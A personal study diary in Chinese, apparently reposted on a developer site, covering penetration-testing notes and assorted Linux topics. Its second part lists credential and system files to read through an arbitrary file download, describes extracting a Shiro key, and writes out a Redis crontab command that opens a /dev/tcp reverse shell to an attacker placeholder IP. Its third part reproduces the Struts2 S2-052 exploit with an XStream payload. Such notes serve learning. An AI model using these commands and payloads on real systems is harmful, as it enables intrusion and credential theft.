热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

2022101日记

目录1.今天完成正常的任务2.任意文件读取到getshell3.复现structs2(s2-052)远程命令执行4.sh和.的区别5.nginx配置文件


目录

  • 1.今天完成正常的任务
  • 2.任意文件读取到getshell
  • 3.复现structs2(s2-052)远程命令执行
  • 4.sh和./的区别
  • 5.nginx配置文件
  • 6.lsof命令
  • 7.sz和rz
  • 8.logstash简介及基本操作
  • 9.ping命令
  • 10.提取txt指定内容
  • 11.问题


1.今天完成正常的任务


2.任意文件读取到getshell

思路:


  • 首先看架构(shiro),系统等

  • 然后根据架构查找漏洞

  • 手足无措的时候看目录和js 把所有js爬下来

  • 读取js,get遍历,发现有个405(请求的http方式不对),之后返回200,但是没有数据返回,想到参数问题

  • fuzz(Fuzz是一种基于黑盒的自动化软件模糊测试技术,简单的说一种懒惰且暴力的技术融合了常见的以及精心构建的数据文本进行网站、软件安全性测试;
    针对一部分网站可以扫描的全面,只要你的字典足够强大就可以扫描到绝大多部分的目录和文件)
    – Fuzz的核心思想:
    -------目录Fuzz(漏洞点)
    -------参数Fuzz(可利用参数)
    -------PayloadFuzz(bypass)
    例如:御剑: 界面化目录和文件扫描
    —Dirsearch : 扫描模式和dirbuster是差不多
    —Nikto : 作用在于目录的爆破
    —wfuzz : 可以进行web应用暴力猜解,也支持对网站目录,登录信息,应用资源文件等的暴力猜解,还可以进行get及post参数的猜解,sql注入,xss漏洞的测试等。该工具所有功能都依赖于字典

  • 利用fuzz对参数进行猜测

  • 发现是任意文件下载


命令

  • /root/.bash_history
    /home/username/.bash_history
    web日志路径
  • /root/.ssh/id_rsa
    /root/.ssh/authorized_keys
    公钥私钥路径
  • /etc/redhat-release
    系统版本,提权可能需要
  • var/lib/mlocate/mlocate.db
    基于本地所有文件的信息的配置信息都知道。需要高权限用户才可以。
  • /proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
    /proc/pid/cmdline 则可以看到对应pid进程的完整命令行。
    /proc/net/fib_trie 内网IP
    /proc/self/environ 环境变量
    /proc/self/loginuid 当前用户


  • 任意文件getshell一般方式
    找源码,找数据库
  • 目标是shiro框架,这里尝试去利用shiro的反序列化漏洞去执行。
    利用公开的脚本没有跑出来key,那就要去读取目标的core.jar去主动寻找key值。
  • 因为任意文件读取为高权限,这里成功读取到目标的mlocate.db文件。然后可以下载下来
  • 利用sublime打开搜索shiro
  • 找到core.js路径
  • 利用luyten寻找key值,搜索Base64.decode
  • 利用shiro工具,拿到shell

实战 | 从任意文件下载到Getshell


  • 下载素材时,看到url=/xxx/xxx/xxx.zip,猜测可能存在任意文件下载漏洞
  • 测试url=/etc/passwd,成功,但无法解压,用notepad++打开
  • 最好看下敏感文件

/etc/passwd #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history
/etc/shadow #shadow文件,但是很难破解
/root/.bash_history #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等
/root/.mysql_history #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf



  • 然后根据任意文件下载的思路,进行信息收集(.bash_history)
  • 发现redis端口对外开放,又根据.bash_histroy中获得的密码,利用redis反弹shell
  • 在服务器nc监听(nc -lvp port)
  • 连接redis(./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码))
  • 写入计划任务(set test “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n”
    config set dir /var/spool/cron
    config set dbfilename root
    save)

3.复现structs2(s2-052)远程命令执行

漏洞编号为CVE-2017-9805(S2-052),Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击


  • 从struts2的官网下载最后受影响的版本struts-2.5.12,其下载地址:
    http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
  • 拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下
  • 浏览器中访问地址:http://ip地址:8080/struts2-rest-showcase/(注意端口冲突,netstat -ant查看端口)
  • 点一个edit,然后提交并用burp抓包
  • 这里将:Content-Type: application/x-www-form-urlencoded
  • 修改为:Content-Type: application/xml
  • 下面时数据

0 false 0 calc.exe false java.lang.ProcessBuilder start foo foo false 0 0 false false 0

  • 利用s2-052.py反弹linux下的struts2
  • 在msf下的反弹struts2的shell

4.sh和./的区别

直接sh 加上文件名.sh,如运行start.sh为sh start.sh【start.sh可以没有x权限】


5.nginx配置文件

Nginx 主配置文件/usr/local/nginx/conf/nginx.conf 是一个纯文本类型的文件。


  • 全局配置
    全局配置部分用来配置对整个 server 都有效的参数。主要会设置一些影响 nginx 服务器整体运行的配置指令,主要包括配置运行 Nginx 服务器的用户(组)、允许生成的 worker process 数,进程 PID 存放路径、日志存放路径和类型以 及配置文件的引入等 作者:小牛在行动yu https://www.bilibili.com/read/cv16082182/ 出处:bilibili

6.lsof命令


  • lsof (list open files)是一个列出当前系统打开文件的工具
  • lsof访问的是核心文件和各种文件,所以必须以root用户的身份运行才能充分发挥其功能。

COMMAND :进程名称
PID:进程标识符
USER:进程所有者
FD:文件描述符,应用程序通过文件描述符识别到该文件。如cwd、txt等
TYPE:文件类型,如DIR,REG
DEVICE:指定磁盘名称
SIZE:文件大小
NODE:索引节点(文件在磁盘上的标识)
NAME:打开文件的确切名称


其中u表示该文件被打开处于读取\写入模式,而不是只读或只写模式;


  • 查看端口现在运行的情况
    ls -i:port #某个端口
    ls -i:port1-port2 #
    ls -i:1-1024 #查看端口1-1024运行情况
  • 恢复删除文件
    最后通过重定向的方法恢复被删除的/var/log/messages
    cat /proc/5925/fd/1 >/var/log/messages
    PID 5925

7.sz和rz


  • sz下载文件,无需ftp/sftp
  • 从本地上传文件到Linux服务器,可以使用rz命令

sz参数
-a 以文本方式传输(ascii)。
-b 以二进制方式传输(binary)。
-e 对控制字符转义(escape),这可以保证文件传输正确。
-c command
-i command 在接收端(本地)执行命令



8.logstash简介及基本操作


  • 简单来说logstash就是一根具备实时数据传输能力的管道,负责将数据信息从管道的输入端传输到管道的输出端;与此同时这根管道还可以让你根据自己的需求在中间加上滤网,Logstash提供里很多功能强大的滤网以满足你的各种应用场景。

  • logstash常用于日志系统中做日志采集设备,最常用于ELK中作为日志收集器使用

  • 基于logstash是jruby语言编写,即需要java环境


  • inpust:必须,负责产生事件(Inputs generate events),常用:File、syslog、redis、beats(如:Filebeats)
  • filters:可选,负责数据处理与转换(filters modify them),常用:grok、mutate、drop、clone、geoip
  • outpus:必须,负责数据输出(outputs ship them elsewhere),常用:elasticsearch、file、graphite、statsd


  • 工作流程

input { 从哪个地方读取,输入数据。
}

filter { 依据grok模式对数据进行分析结构化
}

output { 将分析好的数据输出存储到哪些地方 }



9.ping命令


  • ping/? :ping命令使用帮助
  • ping -l:发送size指定大小的到目标主机的数据包
  • ping -r:在“记录路由”字段中记录传出和返回数据包的路由,探测经过的路由个数,但最多只能跟踪到9个路由
  • ping -s:计数跃点的时间戳(仅适用于 IPv4),有效范围从 1 到 4
  • ping -n:跟无参数ping一个样。在默认情况下无参数ping一般都是只发送四个32字节数据包,-n的话可以指定发送多少数据包,通过这个命令从数据包返回的最短时间、最长时间、平均时间可以衡量网络速度、延迟,从丢失率可以衡量网络的稳定性。
  • ping -t :不间断地Ping指定计算机,直到管理员中断
  • 无参数 ping :在默认情况下,一般都是只发送四个32字节数据包

10.提取txt指定内容

# -*- coding:utf-8 -*-
# 提取txt指定内容
# 思路:利用切片,将中间多少行加到另外一个文件夹
def delete_lines(filename, head,tail):fin = open(filename, 'r')a = fin.readlines()fout = open(放到哪个文件, 'w')# head:tail,可以取范围b = ''.join(a[head:tail])fout.write(b)delete_lines(目标文件,起始,结尾)

11.问题

在写python中,出现下面问题

Non-UTF-8 code starting with。。。

解决

# -*- coding:utf-8 -*-

mlocate.db文件的格式?
如何防护shiro的key?


推荐阅读
  • 小程序的授权和登陆
    小程序的授权和登陆 ... [详细]
  • 本文介绍了 Go 语言中的高性能、可扩展、轻量级 Web 框架 Echo。Echo 框架简单易用,仅需几行代码即可启动一个高性能 HTTP 服务。 ... [详细]
  • Cookie学习小结
    Cookie学习小结 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 在JavaWeb开发中,文件上传是一个常见的需求。无论是通过表单还是其他方式上传文件,都必须使用POST请求。前端部分通常采用HTML表单来实现文件选择和提交功能。后端则利用Apache Commons FileUpload库来处理上传的文件,该库提供了强大的文件解析和存储能力,能够高效地处理各种文件类型。此外,为了提高系统的安全性和稳定性,还需要对上传文件的大小、格式等进行严格的校验和限制。 ... [详细]
  • 本文详细介绍了如何在Linux系统(以CentOS为例)上彻底卸载Zimbra邮件系统,包括停止服务、删除文件和用户等步骤。 ... [详细]
  • 本文详细介绍了在 CentOS 7 系统中配置 fstab 文件以实现开机自动挂载 NFS 共享目录的方法,并解决了常见的配置失败问题。 ... [详细]
  • 本文详细介绍了在 Ubuntu 系统上搭建 Hadoop 集群时遇到的 SSH 密钥认证问题及其解决方案。通过本文,读者可以了解如何在多台虚拟机之间实现无密码 SSH 登录,从而顺利启动 Hadoop 集群。 ... [详细]
  • 本文详细介绍了如何解决DNS服务器配置转发无法解析的问题,包括编辑主配置文件和重启域名服务的具体步骤。 ... [详细]
  • 微信公众号推送模板40036问题
    返回码错误码描述说明40001invalidcredential不合法的调用凭证40002invalidgrant_type不合法的grant_type40003invalidop ... [详细]
  • 基于Linux开源VOIP系统LinPhone[四]
    ****************************************************************************************** ... [详细]
  • 本文详细介绍了 InfluxDB、collectd 和 Grafana 的安装与配置流程。首先,按照启动顺序依次安装并配置 InfluxDB、collectd 和 Grafana。InfluxDB 作为时序数据库,用于存储时间序列数据;collectd 负责数据的采集与传输;Grafana 则用于数据的可视化展示。文中提供了 collectd 的官方文档链接,便于用户参考和进一步了解其配置选项。通过本指南,读者可以轻松搭建一个高效的数据监控系统。 ... [详细]
  • CentOS 7 中 iptables 过滤表实例与 NAT 表应用详解
    在 CentOS 7 系统中,iptables 的过滤表和 NAT 表具有重要的应用价值。本文通过具体实例详细介绍了如何配置 iptables 的过滤表,包括编写脚本文件 `/usr/local/sbin/iptables.sh`,并使用 `iptables -F` 清空现有规则。此外,还深入探讨了 NAT 表的配置方法,帮助读者更好地理解和应用这些网络防火墙技术。 ... [详细]
  • 本文介绍了如何使用 Node.js 和 Express(4.x 及以上版本)构建高效的文件上传功能。通过引入 `multer` 中间件,可以轻松实现文件上传。首先,需要通过 `npm install multer` 安装该中间件。接着,在 Express 应用中配置 `multer`,以处理多部分表单数据。本文详细讲解了 `multer` 的基本用法和高级配置,帮助开发者快速搭建稳定可靠的文件上传服务。 ... [详细]
  • 在PHP中如何正确调用JavaScript变量及定义PHP变量的方法详解 ... [详细]
author-avatar
阿思翠
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有